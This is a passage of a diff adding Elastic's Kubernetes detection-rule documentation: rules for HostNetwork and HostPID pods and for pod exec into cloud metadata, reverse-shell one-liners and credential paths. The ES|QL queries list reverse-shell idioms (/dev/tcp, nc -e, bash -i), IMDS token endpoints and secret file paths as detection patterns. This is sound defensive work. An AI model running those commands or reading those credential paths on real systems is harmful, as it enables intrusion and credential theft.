kubernetes.audit.requestObject.spec.containers.image: ( + docker.elastic.co/beats/elastic-agent* or rancher/system-agent* or registry.crowdstrike.com/falcon-sensor* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostnetwork.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostnetwork.asciidoc new file mode 100644 index 0000000000..b66114ac07 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostnetwork.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostnetwork]] +=== Kubernetes Pod Created With HostNetwork + +This rules detects an attempt to create or modify a pod attached to the host network. HostNetwork allows a pod to use the node network namespace. Doing so gives the pod access to any service running on localhost of the host. An attacker could use this access to snoop on network activity of other pods on the same node or bypass restrictive network policies applied to its given namespace. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.nccgroup.com/2021/11/10/detection-engineering-for-kubernetes-clusters/#part3-kubernetes-detections +* https://kubernetes.io/docs/concepts/security/pod-security-policy/#host-namespaces +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created With HostNetwork* + + +Kubernetes allows pods to connect to the host's network namespace using HostNetwork, granting them direct access to the node's network interfaces. This capability can be exploited by attackers to monitor or intercept network traffic, potentially bypassing network policies. The detection rule identifies suspicious pod creation or modification events with HostNetwork enabled, excluding known benign images, to flag potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the source of the pod creation or modification event, focusing on the user or service account associated with the action. +- Examine the pod's configuration details, especially the containers' images, to determine if any unauthorized or suspicious images are being used, excluding known benign images like "docker.elastic.co/beats/elastic-agent:8.4.0". +- Investigate the network activity of the node where the pod is running to identify any unusual traffic patterns or potential data exfiltration attempts. +- Check the Kubernetes RBAC (Role-Based Access Control) settings to ensure that the user or service account has appropriate permissions and is not overly privileged. +- Assess the necessity of using HostNetwork for the pod in question and determine if it can be reconfigured to operate without this setting to reduce potential security risks. + + +*False positive analysis* + + +- Pods used for monitoring or logging may require HostNetwork access to gather network data across nodes. Users can exclude these by adding their specific container images to the exception list in the detection rule. +- Certain system-level services or infrastructure components might need HostNetwork for legitimate reasons, such as network plugins or ingress controllers. Identify these services and update the rule to exclude their specific images or namespaces. +- Development or testing environments might frequently create pods with HostNetwork for debugging purposes. Consider creating a separate rule or environment-specific exceptions to avoid alert fatigue in these scenarios. +- Pods that are part of a known and trusted deployment process, which require HostNetwork for valid operational reasons, should be documented and excluded from the rule to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected pod by cordoning the node to prevent new pods from being scheduled and draining existing pods to other nodes, except the suspicious one. +- Terminate the suspicious pod to stop any potential malicious activity and prevent further network access. +- Review and revoke any unnecessary permissions or roles associated with the service account used by the pod to limit privilege escalation opportunities. +- Conduct a thorough audit of network policies to ensure they are correctly configured to prevent unauthorized access to the host network. +- Escalate the incident to the security operations team for further investigation and to determine if any data was accessed or exfiltrated. +- Implement additional monitoring and alerting for any future pod creations with HostNetwork enabled to quickly detect similar threats. +- Review and update Kubernetes RBAC policies to enforce the principle of least privilege, ensuring only trusted entities can create pods with HostNetwork enabled. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:kubernetes.audit_logs and kubernetes.audit.annotations.authorization_k8s_io/decision:allow and +kubernetes.audit.objectRef.resource:pods and kubernetes.audit.verb:(create or patch or update) and +kubernetes.audit.requestObject.spec.hostNetwork:true and +not ( + kubernetes.audit.requestObject.spec.containers.image:( + *eks/observability/aws-for-fluent-bit* or *eks/observability/cloudwatch-agent* or *elastic-agent* or *quay/tigera* or *tigera/operator* or + docker.io/bitnami/node-exporter* or docker.io/rancher/mirrored-calico-operator* or quay.io/calico/node* or quay.io/cephcsi/cephcsi* or + quay.io/frrouting/frr* or quay.io/metallb/speaker* or quay.io/prometheus/node-exporter* or rancher/system-agent* or + registry.crowdstrike.com/falcon-sensor* or registry.k8s.io/sig-storage/csi-node-driver-registrar* + ) or + kubernetes.audit.objectRef.namespace:( + calico or calico-system or cilium or elastic or ingress-nginx or kube-system or noname-security-posture or openebs or sysdig-agent + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostpid.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostpid.asciidoc new file mode 100644 index 0000000000..fed63321f9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostpid.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-34-kubernetes-pod-created-with-hostpid]] +=== Kubernetes Pod Created With HostPID + +This rule detects an attempt to create or modify a pod attached to the host PID namespace. HostPID allows a pod to access all the processes running on the host and could allow an attacker to take malicious action. When paired with ptrace this can be used to escalate privileges outside of the container. When paired with a privileged container, the pod can see all of the processes on the host. An attacker can enter the init system (PID 1) on the host. From there, they could execute a shell and continue to escalate privileges to root. + +*Rule type*: query + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://research.nccgroup.com/2021/11/10/detection-engineering-for-kubernetes-clusters/#part3-kubernetes-detections +* https://kubernetes.io/docs/concepts/security/pod-security-policy/#host-namespaces +* https://bishopfox.com/blog/kubernetes-pod-privilege-escalation + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Privilege Escalation +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Pod Created With HostPID* + + +Kubernetes allows pods to share the host's process ID (PID) namespace, enabling visibility into host processes. While useful for debugging, this can be exploited by attackers to escalate privileges, especially when combined with privileged containers. The detection rule identifies attempts to create or modify pods with HostPID enabled, excluding known safe images, to flag potential privilege escalation activities. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the user or service account responsible for the pod creation or modification attempt. Look for the `kubernetes.audit.user.username` field to determine who initiated the action. +- Examine the `kubernetes.audit.requestObject.spec.containers.image` field to identify the container images used in the pod. Verify if any unknown or suspicious images are being deployed. +- Check the `kubernetes.audit.annotations.authorization_k8s_io/decision` field to confirm that the action was allowed and investigate the context or reason for this decision. +- Investigate the `kubernetes.audit.objectRef.resource` and `kubernetes.audit.verb` fields to understand the specific action taken (create, update, or patch) and the resource involved. +- Assess the necessity and legitimacy of using HostPID in the pod's configuration by consulting with the relevant development or operations teams. Determine if there is a valid use case or if it was potentially misconfigured or maliciously set. +- Review any recent changes in the Kubernetes environment or related configurations that might have led to this alert, focusing on changes around the time the alert was triggered. + + +*False positive analysis* + + +- Known safe images like "docker.elastic.co/beats/elastic-agent:8.4.0" are already excluded, but other internal tools or monitoring agents that require HostPID for legitimate reasons might trigger false positives. Review and identify such images and add them to the exclusion list. +- Development or testing environments often use HostPID for debugging purposes. Consider creating a separate rule or exception for these environments to prevent unnecessary alerts. +- Some system maintenance tasks might require temporary use of HostPID. Document these tasks and schedule them during known maintenance windows, then adjust the rule to exclude these specific time frames. +- Regularly review audit logs to identify patterns of benign HostPID usage. Use this information to refine the rule and reduce false positives by updating the exclusion criteria. +- Collaborate with development and operations teams to understand legitimate use cases for HostPID in your environment, and adjust the rule to accommodate these scenarios without compromising security. + + +*Response and remediation* + + +- Immediately isolate the affected pod to prevent further interaction with the host processes. This can be done by cordoning the node or deleting the pod if necessary. +- Review and revoke any unnecessary permissions or roles that may have allowed the creation of pods with HostPID enabled. Ensure that only trusted users and service accounts have the ability to create such pods. +- Conduct a thorough investigation of the container images used in the pod to ensure they are from trusted sources and have not been tampered with. Remove any untrusted or suspicious images from the registry. +- Check for any unauthorized access or changes to the host system's processes and files. If any malicious activity is detected, take steps to restore affected systems from backups and patch any vulnerabilities. +- Implement network segmentation to limit the communication between pods and the host system, reducing the risk of lateral movement by an attacker. +- Enhance monitoring and logging to capture detailed audit logs of Kubernetes API activities, focusing on changes to pod specifications and the use of HostPID. This will aid in detecting similar threats in the future. +- Escalate the incident to the security operations team for further analysis and to determine if additional security measures or incident response actions are required. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.objectRef.resource:"pods" and kubernetes.audit.verb:("create" or "update" or "patch") and +kubernetes.audit.requestObject.spec.hostPID:true and +not kubernetes.audit.requestObject.spec.containers.image: ( + ghcr.io/aquasecurity/node-collector* or rancher/system-agent* or ghcr.io/kubereboot/kured* or + *elastic/elastic-agent* or registry.k8s.io/sig-storage/csi-node-driver-registrar* or quay.io/prometheus/node-exporter* or + docker.elastic.co/beats/elastic-agent* or quay.io/cephcsi/cephcsi* or registry.crowdstrike.com/falcon-sensor* or */sysdig/* or + rancher/mirrored-longhornio-longhorn-manager* or gcr.io/datadoghq/agent* or mcr.microsoft.com/oss/*/kubernetes-csi* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Deploy Container +** ID: T1610 +** Reference URL: https://attack.mitre.org/techniques/T1610/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-cloud-instance-metadata-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-cloud-instance-metadata-access.asciidoc new file mode 100644 index 0000000000..c6684983de --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-cloud-instance-metadata-access.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-34-kubernetes-pod-exec-cloud-instance-metadata-access]] +=== Kubernetes Pod Exec Cloud Instance Metadata Access + +Detects Kubernetes pod exec sessions whose decoded command line references cloud instance metadata endpoints or equivalent hostnames and paths. Workloads that reach the link-local metadata IP, AWS IMDS paths, GCP computeMetadata, Azure IMDS token routes, or encoded variants are often attempting to harvest role credentials, tokens, or instance attributes from the underlying node or hypervisor boundary. That behavior is high risk in multi-tenant and regulated environments because it can expose short-lived cloud credentials to code running inside a container. The rule classifies a coarse cloud target label and whether the string looks like credential retrieval versus lighter reconnaissance. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/005/ +* https://hardenedsecurity.io/blog/aws-imds-vulnerabilities-and-mitigations/ + +*Tags*: + +* Data Source: Kubernetes +* Data Source: Kubernetes API Server Audit Logs +* Domain: Kubernetes +* Platform: Kubernetes +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: IMDS Credential Theft +* Rule Type: ES|QL +* Domain: Containers + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Pod Exec Cloud Instance Metadata Access* + + +This alert fires when an audited exec requestURI, after URL decoding and command reconstruction, matches patterns +associated with instance metadata services across AWS, GCP, and Azure. Use it to catch interactive or scripted access +from inside a pod to metadata surfaces that should usually be blocked by network policy or not needed by application +code. + + +*Possible investigation steps* + + +- Confirm the Kubernetes identity that performed exec: user name, groups, impersonation, source IP, and user agent. +- Map the pod and namespace to a workload owner, image digest, and entrypoint; determine whether the container should + ever call metadata endpoints. +- Inspect Esql.cloud_target and Esql.is_credential_theft in the alert document and expand the timeline for the same + identity for secret reads, IAM changes, or data egress. +- Correlate with cloud audit logs on the node identity or instance profile for STS or token issuance around the event + time. + + +*False positive analysis* + + +- Break-glass debugging from platform engineers may include curl to 169.254.169.254; validate change tickets and + bastion use. +- Misconfigured agents or bootstrap scripts in bespoke images can touch metadata during startup; baseline approved + images and tune exclusions narrowly. + + +*Response and remediation* + + +- If unauthorized, terminate the session, isolate the workload, revoke or rotate instance and workload credentials that + could have been read, and tighten RBAC on pods exec plus network policies that deny link-local metadata from pods. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-kubernetes.audit_logs-* metadata _id, _index, _version +| WHERE kubernetes.audit.objectRef.subresource == "exec" + AND kubernetes.audit.requestURI LIKE "*command=*" +| EVAL Esql.decoded_uri = URL_DECODE(kubernetes.audit.requestURI) +| GROK Esql.decoded_uri "%{DATA}/exec\\?%{DATA:raw_commands}&(?:container|stdin|stdout|stderr)=%{GREEDYDATA}" +| EVAL command = REPLACE(raw_commands, "command=", "") +| EVAL command = REPLACE(command, "&", " ") +| EVAL Esql.executed_command = REPLACE(command, "\\+", " ") +| WHERE Esql.executed_command IS NOT NULL + AND Esql.executed_command RLIKE """.*(169\.254\.169\.254|2852039166|0xa9fea9fe|/latest/api/token|/latest/meta-data|/latest/user-data|/latest/dynamic/instance-identity|computeMetadata/v1|metadata\.google\.internal|metadata/identity/oauth2/token|metadata/instance).*""" +| EVAL Esql.cloud_target = CASE( + Esql.executed_command RLIKE """.*(169\.254\.169\.254|2852039166|0xa9fea9fe|/latest/meta-data|/latest/api/token|/latest/user-data|/latest/dynamic).*""", "AWS_IMDS", + Esql.executed_command RLIKE """.*(computeMetadata/v1|metadata\.google\.internal).*""", "GCP_METADATA", + Esql.executed_command RLIKE """.*metadata/identity/oauth2/token.*""", "AZURE_IMDS", + "UNKNOWN" + ) +| EVAL Esql.is_credential_theft = CASE( + Esql.executed_command RLIKE """.*(security-credentials|/api/token|oauth2/token|service-accounts/.*/token).*""", "yes", + "recon" + ) +| KEEP Esql.*, user.name, user_agent.original, event.*, source.ip, kubernetes.audit.*, _id, _version, _index, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-potential-reverse-shell.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-potential-reverse-shell.asciidoc new file mode 100644 index 0000000000..3dfa60e83f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-potential-reverse-shell.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-kubernetes-pod-exec-potential-reverse-shell]] +=== Kubernetes Pod Exec Potential Reverse Shell + +Flags exec into a pod when the URL-decoded command payload resembles reverse-shell or bind-shell one-liners invocation patterns. Legitimate debug sessions sometimes use similar building blocks, but together these patterns align with post-exploitation interactive access and command-and-control. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1609/ +* https://attack.mitre.org/techniques/T1059/ + +*Tags*: + +* Data Source: Kubernetes +* Data Source: Kubernetes API Server Audit Logs +* Domain: Kubernetes +* Platform: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: Reverse Shell +* Rule Type: ES|QL +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Pod Exec Potential Reverse Shell* + + +The rule inspects Kubernetes audit exec requestURI values, URL-decodes them, parses the command query fragment, and +matches high-signal shell and socket idioms often used to obtain a fallback shell from inside a container. + + +*Possible investigation steps* + + +- Identify the actor (kubernetes.audit.user.username, groups, impersonation), source IP, and user agent + (human kubectl vs automation). +- Resolve the target namespace, pod, and container from kubernetes.audit.objectRef.* and correlate with + workload ownership and change tickets. +- Pull the raw and decoded URI from the alert document and replay the inferred command in a sandbox only if policy + allows—otherwise rely on audit and platform logs. +- Hunt nearby events from the same identity: secret reads, pods/exec to other workloads, RoleBinding + changes, or anonymous API use. + + +*False positive analysis* + + +- Security training, CTF-style images, or vendor diagnostics may include bash redirection or /dev/tcp examples; + baseline approved images and break-glass accounts. +- Some observability or mesh sidecars use socat or sockets in ways that could overlap; validate container image and + command lineage. + + +*Response and remediation* + + +- If malicious, terminate the exec session, isolate the workload or node, rotate credentials reachable from the + pod, and revoke pods/exec for the abused principal unless strictly required. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-kubernetes.audit_logs-* metadata _id, _index, _version +| WHERE kubernetes.audit.objectRef.subresource == "exec" + AND kubernetes.audit.requestURI LIKE "*command=*" +| EVAL Esql.decoded_uri = URL_DECODE(kubernetes.audit.requestURI) +| GROK Esql.decoded_uri "%{DATA}/exec\\?%{DATA:raw_commands}&(?:container|stdin|stdout|stderr)=%{GREEDYDATA}" +| EVAL command = REPLACE(raw_commands, "command=", "") +| EVAL command = REPLACE(command, "&", " ") +| EVAL Esql.executed_command = REPLACE(command, "\\+", " ") +| WHERE Esql.executed_command IS NOT NULL AND command RLIKE """.*(/dev/tcp/|/dev/udp/|zsh/net/tcp|zsh/net/udp|nc\s+-e|ncat\s+-e|netcat\s+-e|nc\s.*\s-c\s|mkfifo|socat\s.*exec|socat\s.*pty|bash\s+-i\s+>&|0>&1|>&\s*/dev/tcp|import\s+socket.*connect|import\s+pty.*spawn|socket\.socket.*connect|IO::Socket::INET|fsockopen|TCPSocket\.new|/inet/tcp/).*""" AND + // local service health check patterns + NOT command RLIKE """.*/dev/tcp/(localhost|127\.0\.0\.1)/(8080|8443|9090|3000|5000|8888|80|443).*""" +| KEEP Esql.*, user.name, user_agent.original, event.*, source.ip, kubernetes.audit.*, _id, _version, _index, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-sensitive-file-or-credential-path-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-sensitive-file-or-credential-path-access.asciidoc new file mode 100644 index 0000000000..db57ed6b40 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-sensitive-file-or-credential-path-access.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-34-kubernetes-pod-exec-sensitive-file-or-credential-path-access]] +=== Kubernetes Pod Exec Sensitive File or Credential Path Access + +Detects Kubernetes pod exec sessions whose decoded command line references high-value host or in-cluster paths and material types: mounted service account or platform tokens, kubelet and control-plane configuration areas, host identity stores, root dot-directories for cloud and kubeconfig material, common private-key and keystore extensions, process environment dumps, and configuration filenames suggestive of embedded secrets. The intent is to catch interactive or scripted access that often precedes lateral movement, privilege escalation, or credential theft from the node or workload boundary. A narrow exclusion ignores benign reads of resolv.conf. The query also labels an access_type bucket to speed triage without altering the detection predicates you validated. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1552/001/ +* https://attack.mitre.org/techniques/T1552/007/ + +*Tags*: + +* Data Source: Kubernetes +* Data Source: Kubernetes API Server Audit Logs +* Domain: Kubernetes +* Platform: Kubernetes +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Execution +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: ES|QL +* Domain: Containers +* Domain: Cloud + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Kubernetes Pod Exec Sensitive File or Credential Path Access* + + +This alert ties Kubernetes audit exec events to reconstructed command text that matches sensitive path and filename +patterns. Use the Esql.access_type field to prioritize: IRSA token paths, default Kubernetes service account tokens, +other mounted secrets, certificates and keystores, Kubernetes static config, kubelet state, host passwd or shadow, +user home credential stores, and proc environ scraping. + + +*Possible investigation steps* + + +- Identify the Kubernetes user, groups, impersonation, source IP, and user agent for the exec caller. +- Map objectRef namespace, pod, and container to an owning team, image digest, and change history. +- Compare Esql.executed_command against known runbooks; capture follow-on audit activity such as additional execs, + secret reads at the API layer, or RBAC changes. +- If host-level paths appear, determine whether the workload runs privileged, with hostPath mounts, or on nodes where + break-glass access is expected. + + +*False positive analysis* + + +- Diagnostic images and vendor agents sometimes cat resolv.conf or kubeconfig-like paths; the rule excludes resolv.conf + but other matches may still be legitimate—baseline stable automation identities. +- Training containers that deliberately demonstrate passwd reads can trigger; scope exceptions to those images and + namespaces. + + +*Response and remediation* + + +- If malicious, end the exec session, isolate the pod or node, rotate any credentials that could have been read, + review and tighten pods exec RBAC and admission controls, and inspect for persistence added after the session. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-kubernetes.audit_logs-* metadata _id, _index, _version +| WHERE kubernetes.audit.objectRef.subresource == "exec" + AND kubernetes.audit.requestURI LIKE "*command=*" +| EVAL Esql.decoded_uri = URL_DECODE(kubernetes.audit.requestURI) +| GROK Esql.decoded_uri "%{DATA}/exec\\?%{DATA:raw_commands}&(?:container|stdin|stdout|stderr)=%{GREEDYDATA}" +| EVAL command = REPLACE(raw_commands, "command=", "") +| EVAL command = REPLACE(command, "&", " ") +| EVAL Esql.executed_command = REPLACE(command, "\\+", " ") +| WHERE Esql.executed_command IS NOT NULL + AND Esql.executed_command RLIKE """.*(/var/run/secrets/|/etc/kubernetes/|/var/lib/kubelet/|/etc/shadow|/etc/passwd|/etc/sudoers|(/root|/home/[^/]+)/\.(ssh|aws|azure|kube|config/gcloud)|\.p12|\.pem|\.key|\.jks|\.keystore|/etc/.*\.conf.*(password|secret|key|token|credential)|/proc/.*/environ).*""" + AND NOT Esql.executed_command RLIKE """.*/etc/resolv\.conf.*""" +| EVAL Esql.access_type = CASE( + Esql.executed_command RLIKE """.*/var/run/secrets/eks\.amazonaws\.com.*""", "AWS_IRSA_TOKEN", + Esql.executed_command RLIKE """.*/var/run/secrets/azure/tokens/.*""", "AZURE_WORKLOAD_IDENTITY_TOKEN", + Esql.executed_command RLIKE """.*/var/run/secrets/tokens/gcp-ksa/.*""", "GCP_WORKLOAD_IDENTITY_TOKEN", + Esql.executed_command RLIKE """.*/var/run/secrets/kubernetes\.io/serviceaccount/token.*""", "K8S_SA_TOKEN", + Esql.executed_command RLIKE """.*/var/run/secrets/.*""", "MOUNTED_SECRET", + Esql.executed_command RLIKE """.*\.(p12|pem|key|jks|keystore).*""", "CERTIFICATE_OR_KEY", + Esql.executed_command RLIKE """.*/etc/kubernetes/.*""", "K8S_CONFIG", + Esql.executed_command RLIKE """.*/var/lib/kubelet/.*""", "KUBELET_CONFIG", + Esql.executed_command RLIKE """.*/etc/shadow.*""", "HOST_CREDENTIALS", + Esql.executed_command RLIKE """.*/etc/passwd.*""", "USER_ENUMERATION", + Esql.executed_command RLIKE """.*/etc/sudoers.*""", "SUDOERS_ACCESS", + Esql.executed_command RLIKE """.*(/root|/home/[^/]+)/\.(ssh|aws|azure|kube|config/gcloud).*""", "USER_CREDENTIALS", + Esql.executed_command RLIKE """.*/proc/.*/environ.*""", "PROCESS_ENV_SECRETS", + Esql.executed_command RLIKE """.*/etc/.*\.conf.*(password|secret|key|token|credential).*""", "EMBEDDED_CONFIG_SECRET", + "OTHER_SENSITIVE" + ) +| KEEP Esql.*, user.name, user_agent.original, event.*, source.ip, kubernetes.audit.*, _id, _version, _index, data_stream.namespace + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-with-curl-or-wget-to-https.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-with-curl-or-wget-to-https.asciidoc new file mode 100644 index 0000000000..7811f7cfed --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-pod-exec-with-curl-or-wget-to-https.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-kubernetes-pod-exec-with-curl-or-wget-to-https]] +=== Kubernetes Pod Exec with Curl or Wget to HTTPS + +Detects pod or attach exec API calls where the decoded request query implies curl or wget fetching an https URL. Attackers with permission to exec into workloads often run one-liners to stage tooling, pull scripts or binaries, or exfiltrate data over 